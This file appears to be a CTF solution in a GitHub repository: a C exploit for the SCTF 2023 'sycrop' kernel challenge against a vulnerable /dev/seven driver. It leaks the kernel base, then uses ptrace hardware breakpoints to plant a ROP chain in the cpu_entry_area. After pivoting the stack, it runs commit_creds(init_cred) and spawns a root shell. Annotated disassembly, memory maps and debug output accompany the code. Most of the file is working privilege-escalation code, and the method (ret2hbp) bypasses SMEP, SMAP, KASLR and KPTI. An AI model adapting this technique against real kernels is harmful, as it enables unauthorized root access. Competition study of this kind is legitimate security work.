-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsctf2023_sycrop_exploit.c
More file actions
292 lines (261 loc) · 12 KB
/
sctf2023_sycrop_exploit.c
File metadata and controls
292 lines (261 loc) · 12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stddef.h>
#include <signal.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/wait.h>
#define module "/dev/seven"
int fd;
pid_t hbp_pid;
int status;
char buf[0x10];
uint64_t kbase;
uint64_t commit_cred;
uint64_t init_cred;
uint64_t pop_rdi;
uint64_t swapgs;
uint64_t free_zone;
uint64_t ret_func;
size_t user_cs, user_rflags, user_sp, user_ss;
void save_state() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void continue_exec(){ptrace(PTRACE_CONT,hbp_pid, 0 , 0 );}
//On x86 processors, hardware breakpoints are set using debug registers (DR0-DR7). These registers can be configured to monitor memory accesses, execution, or I/O accesses.
void create_breakpoint(void* address){
size_t dr0 = offsetof(struct user, u_debugreg); // https://en.wikipedia.org/wiki/X86_debug_register#DR0_to_DR3
size_t dr7 = offsetof(struct user, u_debugreg) + 56; // https://en.wikipedia.org/wiki/X86_debug_register#DR7_-_Debug_control
ptrace(PTRACE_POKEUSER,hbp_pid, dr0, address);
ptrace(PTRACE_POKEUSER,hbp_pid, dr7, 0xf0101);
}
// bind the current process to a specific CPU core
void set_cpu(int idx){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(idx, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
}
void win(){
system("/bin/sh");
exit(0);
}
int main(){
ret_func = (uint64_t)&win;
save_state();
fd = open(module, O_RDWR);
if (fd < 0){perror("Cannot Open Device Driver!\n"); exit(-1);}
uint64_t target_addr = 0xfffffe0000002f38;
uint64_t ret = ioctl(fd, 0x5555 ,target_addr);
kbase = ret - 0xeec205;
commit_cred = kbase + 0xbb5b0;
init_cred = kbase + 0x1a4cbf8;
pop_rdi = kbase + 0x2c9d;
swapgs = kbase + 0x1000F01;
free_zone = 0xfffffe0000010f58;
hbp_pid = fork();
if (hbp_pid == 0){
set_cpu(1);
ptrace(PTRACE_TRACEME, 0 , NULL , NULL );
raise(SIGSTOP);
__asm__(
"mov r15, pop_rdi;"
"mov r14, init_cred;"
"mov r13, commit_cred;"
"mov r12, swapgs;"
"mov rbp, 0x0;"
"mov rbx, 0x0;"
"mov r11, ret_func;"
"mov r10, user_cs;"
"mov r9, user_rflags;"
"mov r8, user_sp;"
"mov rax, user_ss;"
"mov rcx, 0xcccccccc;"
"mov rdx, 0xdddddddd;"
"mov rsi, buf;"
"mov rdi, [rsi];"
);
exit(1);
}
waitpid(hbp_pid,&status, 0);
create_breakpoint(buf);
continue_exec();
waitpid(hbp_pid,&status, 0);
continue_exec();
waitpid(hbp_pid,&status, 0);
ioctl(fd, 0x6666 , free_zone);
return 0;
}
/*
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 quiet kaslr" \
-cpu kvm64,+smep,+smap\
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot -s
SMAP, SMEP KASLR KPTI Enabled
*/
/*
00000070 int64_t seven_ioctl(int64_t arg1, int32_t arg2, int64_t* arg3)
0000007c if (arg2 == 0x6666)
000000ab if (come_true == 0)
000000c3 int64_t rax_2 = _printk(0x326)
000000c8 come_true = 1
000000f4 return rax_2
0000007c else if (arg2 == 0x5555)
00000094 if (pray == 0)
000000f9 pray = 1
00000107 _printk(0x2fe)
0000010c *arg3
00000094 else
0000009d _printk(0x310)
000000b6 return __x86_return_thunk() __tailcall
HLIL => DIsassembly
rdi rsi rdx
00000070 int64_t seven_ioctl(int64_t arg1, int32_t arg2, int64_t* arg3)
00000070 4156 push r14 {__saved_r14} // prologue
00000072 53 push rbx {__saved_rbx}
00000073 4889d3 mov rbx, rdx // rbx = 3rd param
00000076 81fe66660000 cmp esi, 0x6666 // esi - 0x666 (1st ioctl code)
0000007c 7426 je 0xa4 // if (esi - 0x666) == 0 goto 0xa4
0000007e 49c7c6ffffffff mov r14, 0xffffffffffffffff // r14 = -1
00000085 81fe55550000 cmp esi, 0x5555 // esi - 0x555 (2nd ioctl code)
0000008b 7523 jne 0xb0 // if (esi - 0x555) != goto 0xb0
0000008d 803dc408000000 cmp byte [rel pray], 0x0 // pray - 0x0
00000094 7463 je 0xf9 {pray} // if (pray == 0) goto 0xf9
00000096 48c7c710030000 mov rdi, 0x310 // rdi = 0x310
0000009d e8ce080000 call _printk // _printk(0x310)
000000a2 eb0c jmp 0xb0 // goto 0xb0
000000a4 803db108000000 cmp byte [rel come_true], 0x0 // come_true - 0x0
000000ab 740f je 0xbc {come_true} // if (come_true == 0) goto 0xbc
000000ad 4531f6 xor r14d, r14d {0x0} // r14d = 0
000000b0 4c89f0 mov rax, r14 // rax = r14
000000b3 5b pop rbx {__saved_rbx} // epilogue
000000b4 415e pop r14 {__saved_r14}
000000b6 2ee9ac080000 jmp __x86_return_thunk // __x86_return_thunk()
000000bc 48c7c726030000 mov rdi, 0x326 // rdi = 0x326
000000c3 e8a8080000 call _printk // _printk(0x326)
000000c8 c6058d08000001 mov byte [rel come_true], 0x1 // come_true = 1
000000cf 31d2 xor edx, edx {0x0} // zeroes some registers
000000d1 31c9 xor ecx, ecx {0x0}
000000d3 31ff xor edi, edi {0x0}
000000d5 31f6 xor esi, esi {0x0}
000000d7 4531c0 xor r8d, r8d {0x0}
000000da 4531c9 xor r9d, r9d {0x0}
000000dd 4531d2 xor r10d, r10d {0x0}
000000e0 4531db xor r11d, r11d {0x0}
000000e3 4531e4 xor r12d, r12d {0x0}
000000e6 4531ed xor r13d, r13d {0x0}
000000e9 4531f6 xor r14d, r14d {0x0}
000000ec 4531ff xor r15d, r15d {0x0}
000000ef 31ed xor ebp, ebp {0x0}
000000f1 4889dc mov rsp, rbx // rsp = rbx ; rbx is not zeroed, and is rdx (3rd param) so we can pivot stack, this can be reached with esi = 0x666 && come_true = 0
000000f4 c3 retn // ret
Exploit Plan:
Leak Kernel Base (ioctl: 0x555)
Create a ROPCHAIN, insert it in some memory (where??) and migrate to it
*/
/*
source: https://elixir.bootlin.com/linux/v5.0/source/Documentation/x86/x86_64/mm.txt
========================================================================================================================
Start addr | Offset | End addr | Size | VM area description
========================================================================================================================
| | | |
0000000000000000 | 0 | 00007fffffffffff | 128 TB | user-space virtual memory, different per mm
__________________|____________|__________________|_________|___________________________________________________________
| | | |
0000800000000000 | +128 TB | ffff7fffffffffff | ~16M TB | ... huge, almost 64 bits wide hole of non-canonical
| | | | virtual memory addresses up to the -128 TB
| | | | starting offset of kernel mappings.
__________________|____________|__________________|_________|___________________________________________________________
|
| Kernel-space virtual memory, shared between all processes:
____________________________________________________________|___________________________________________________________
| | | |
ffff800000000000 | -128 TB | ffff87ffffffffff | 8 TB | ... guard hole, also reserved for hypervisor
ffff880000000000 | -120 TB | ffff887fffffffff | 0.5 TB | LDT remap for PTI
ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
ffffc88000000000 | -55.5 TB | ffffc8ffffffffff | 0.5 TB | ... unused hole
ffffc90000000000 | -55 TB | ffffe8ffffffffff | 32 TB | vmalloc/ioremap space (vmalloc_base)
ffffe90000000000 | -23 TB | ffffe9ffffffffff | 1 TB | ... unused hole
ffffea0000000000 | -22 TB | ffffeaffffffffff | 1 TB | virtual memory map (vmemmap_base)
ffffeb0000000000 | -21 TB | ffffebffffffffff | 1 TB | ... unused hole
ffffec0000000000 | -20 TB | fffffbffffffffff | 16 TB | KASAN shadow memory
__________________|____________|__________________|_________|____________________________________________________________
|
| Identical layout to the 56-bit one from here on:
____________________________________________________________|____________________________________________________________
| | | |
fffffc0000000000 | -4 TB | fffffdffffffffff | 2 TB | ... unused hole
| | | | vaddr_end for KASLR
fffffe0000000000 | -2 TB | fffffe7fffffffff | 0.5 TB | cpu_entry_area mapping
fffffe8000000000 | -1.5 TB | fffffeffffffffff | 0.5 TB | ... unused hole
ffffff0000000000 | -1 TB | ffffff7fffffffff | 0.5 TB | %esp fixup stacks
ffffff8000000000 | -512 GB | ffffffeeffffffff | 444 GB | ... unused hole
ffffffef00000000 | -68 GB | fffffffeffffffff | 64 GB | EFI region mapping space
ffffffff00000000 | -4 GB | ffffffff7fffffff | 2 GB | ... unused hole
ffffffff80000000 | -2 GB | ffffffff9fffffff | 512 MB | kernel text mapping, mapped to physical address 0
ffffffff80000000 |-2048 MB | | |
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
ffffffffff000000 | -16 MB | | |
FIXADDR_START | ~-11 MB | ffffffffff5fffff | ~0.5 MB | kernel-internal fixmap range, variable size and offset
ffffffffff600000 | -10 MB | ffffffffff600fff | 4 kB | legacy vsyscall ABI
ffffffffffe00000 | -2 MB | ffffffffffffffff | 2 MB | ... unused hole
__________________|____________|__________________|_________|___________________________________________________________
Target Memory: https://elixir.bootlin.com/linux/v5.0/source/arch/x86/include/asm/cpu_entry_area.h#L18
*/
/*
***
ROPCHAIN DEBUG
__asm__(
".intel_syntax noprefix;"
"mov r15, 0x11111111;"
"mov r14, 0x22222222;"
"mov r13, 0x33333333;"
"mov r12, 0x44444444;"
"mov rbp, 0x55555555;"
"mov rbx, 0x66666666;"
"mov r11, 0x77777777;"
"mov r10, 0x88888888;"
"mov r9, 0x99999999;"
"mov r8, 0xaaaaaaaa;"
"mov rax, 0xbbbbbbbb;"
"mov rcx, 0xcccccccc;"
"mov rdx, 0xdddddddd;"
"mov rsi, 0xeeeeeeee;"
"mov rdi, 0xffffffff;"
".att_syntax;"
);
gef> x/15gx 0xfffffe0000010f58
0xfffffe0000010f58: 0x0000000011111111 0x0000000022222222
0xfffffe0000010f68: 0x0000000033333333 0x0000000044444444
0xfffffe0000010f78: 0x0000000055555555 0x0000000066666666
0xfffffe0000010f88: 0x0000000077777777 0x0000000088888888
0xfffffe0000010f98: 0x0000000099999999 0x00000000aaaaaaaa
0xfffffe0000010fa8: 0x00000000bbbbbbbb 0x00000000cccccccc
0xfffffe0000010fb8: 0x00000000dddddddd 0x00000000eeeeeeee
0xfffffe0000010fc8: 0x00000000ffffffff
*/
/*
Source: https://veritas501.github.io/2023_03_22-%E4%B8%80%E7%A7%8D%E5%80%9F%E5%8A%A9%E7%A1%AC%E4%BB%B6%E6%96%AD%E7%82%B9%E7%9A%84%E6%8F%90%E6%9D%83%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%89%8D%E6%96%87
Exploit Method: ret2hbp
*/